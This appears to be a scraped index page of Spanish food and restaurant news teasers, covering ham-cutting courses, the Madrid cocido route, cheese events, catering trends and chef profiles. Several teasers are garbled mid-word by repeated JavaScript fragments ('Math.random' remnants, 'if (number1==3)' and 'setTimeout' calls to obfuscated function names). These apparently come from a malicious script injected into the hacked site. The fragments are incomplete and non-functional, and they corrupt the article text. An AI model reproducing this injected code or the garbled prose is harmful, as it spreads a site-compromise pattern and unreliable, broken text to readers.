• Las mujeres reivindican el oficio de Cortadoras de Jamón - Vísperas del día de la mujer, tenemos en nuestra redacción las fotos de las primeras mujeres cortadoras de jamón formadas por la Selección Profesional de Cortadores de Jamón, SPCJ. A estas alturas, aún no hay un título oficial que acredite la formación desde el ministerio de Educación, pero gracias a los cursos privados que ofrece […]
  • 8ª Ruta del cocido madrileño - 41 restaurantes participan en la VIII Ruta del Cocido Madrileño, que se inaugura mañana en el Parador de Turismo de Chinchón   La cuchara sigue de moda. 41 restaurantes participan en la VIII Ruta del Cocido Madrileño, del 14 de febrero al 31 de marzo. La inauguración tiene lugar mañana a las 12:00 en el […]
  • Swiss Master Cheese 2016 - Vuelve el certamen más esperado para los amantes del queso en España: el Swiss Master Cheese 2016. Después del gran éxito en Barcelona, más de 600 asistentes, el sábado 2 de abril el Círculo de Bellas Artes de Madrid acogerá este año la segunda edición. Los ciudadanos podrán disfrutar de los conocimientos del experto quesero […]
  • Agotadas las plazas del primer curso del Grado en Gastronomía - El Director del Grado en Gastronomía de la Universidad Francisco de Vitoria de Madrid, Isolino Pazos, ha informado a la Agencia UGE que “ya no hay plazas” para el primer curso del Grado que nació el año pasado en la universidad madrileña. La Universidad sacó el año pasado 16 plazas, porque lo que el equipo […]
  • 30 Aniversario del Catering Paco Lechuga en Jerez - Hoy hemos estado desayunandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando con Paco Lechuga, jerezano y  propietario del Restaurante […]
  • Carlos se lo merece: Premio Nacional de Gastronomía 2015 - Hace años, cuandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando yo sólo era una aprendiz de locutora de radio, […]
  • 8ª Ruta del cocido madrileño 13 febrero 2018 - 41 restaurantes participan en la VIII Ruta del Cocido Madrileño, que se inaugura mañana en el Parador de Turismo de Chinchón   La cuchara sigue de moda. 41 restaurantes participan en la VIII Ruta del Cocido Madrileño, del 14 de febrero al 31 de marzo. La inauguración tiene lugar mañana a las 12:00 en el […]
  • “Coffee break or Lunch” para las empresas españolas 07 marzo 2016 - No se trata de nada nuevo pero sí de algo que, con la crisis que aún perdura y que comenzó en el año 2008, había disminuido en cantidad y calidad en nuestro país. Las empresas comenzaron a ejecutar serios recortes, no solo en el personal, sino también en sus presupuestos para marketing y comunicación. Fue […]

  • Esteban García: Nosotros proponemos San Valentín todos los días 11 febrero 2016 - Hoy hemos comido con Esteban García en su Restaurante El Pitaco de Madrid. Y, como siempre, hemos hablado de Gastronomía, vinos y temporada. Esteban, tu eres un profesional que tiene muy en cuenta el calendario en tu cocina. ¿Qué tienes pensado para San Valentín? Nosotros proponemos San Valentín todos los días. Es cierto que ahora […]

  • Tendencias: se implanta el catering tipo cóctel para las comuniones 10 febrero 2016 - Rubén Guerra: Sí, podemos decir que está de moda. A estas alturas de mes, cuandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay […]
  • Nace el zumo de aceite de Conde de Mirasol,el mejor hojiblanca virgen extra 20 febrero 2016 - Estrella Serna Rute (Córdoba), 20 feb (EFE).- La quinta generación de la familia Gordon ha retomado el legado del Conde de Mirasol para elaborar un aceite de oliva virgen extra recolectado de manera manual y molturado con la tecnología más puntera con los frutos de la primera maduración de las cepas centenarias de la “Sicilia […]

  • Carlos se lo merece: Premio Nacional de Gastronomía 2015 01 junio 2016 - Hace años, cuandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando yo sólo era una aprendiz de locutora de radio, […]
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  • Restaurante Grill (Marbella) 06 marzo 2016 - Este restaurante forma parte de la gran Historia de uno de los Hoteles más lujosos de España, situado en la Milla de Oro: El Hotel Marbella Club. A lo largo de su más de medio siglo de existencia, el Marbella Club Hotel ha ido atesorandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = […]
  • Restaurante Dantxari 01 noviembre 2015 - Este restaurante nace en 1997 como consecuencia de la fusión de dos profesionales de reconocido prestigio en la alta hostelería española: Ángel Alonso en la cocina y Jesús Medina en sala. Unidos desde entonces, ofrecen su tradicional cocina vasco-navarra con una carta original y de calidad suprema.El restaurante está dividido en dos plantas, con una […]

  • Los periodistas eligen restaurante 02 marzo 2016 - Un buen restaurante no lo hacen los personajes conocidos y famosos que lo visitan, hay muchísimo trabajo detrás, no solo en cocina, que es lo que realmente lo hace posible. Pero eso no quita que los famosos quieran conocerlos y disfrutar de ellos. En el mundo de las modas y tendencias suele haber un denominador común: la […]
  • Un día con SPCJ, cortadores de Jamón: especial eventos. 24 febrero 2016 -
  • Antonio Cosmen: Imparable 11 febrero 2016 - Por todos es conocido el buen hacer del Chef asturiano Antonio Cosmen en su cocina. Hasta hace nada, llevaba una carrera progresiva que, en los últimos meses, se ha visto disparada por una gran cantidad de reconocimientos profesionales. De ahí que el titular no pueda ser otro. Hace años, cuandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if […]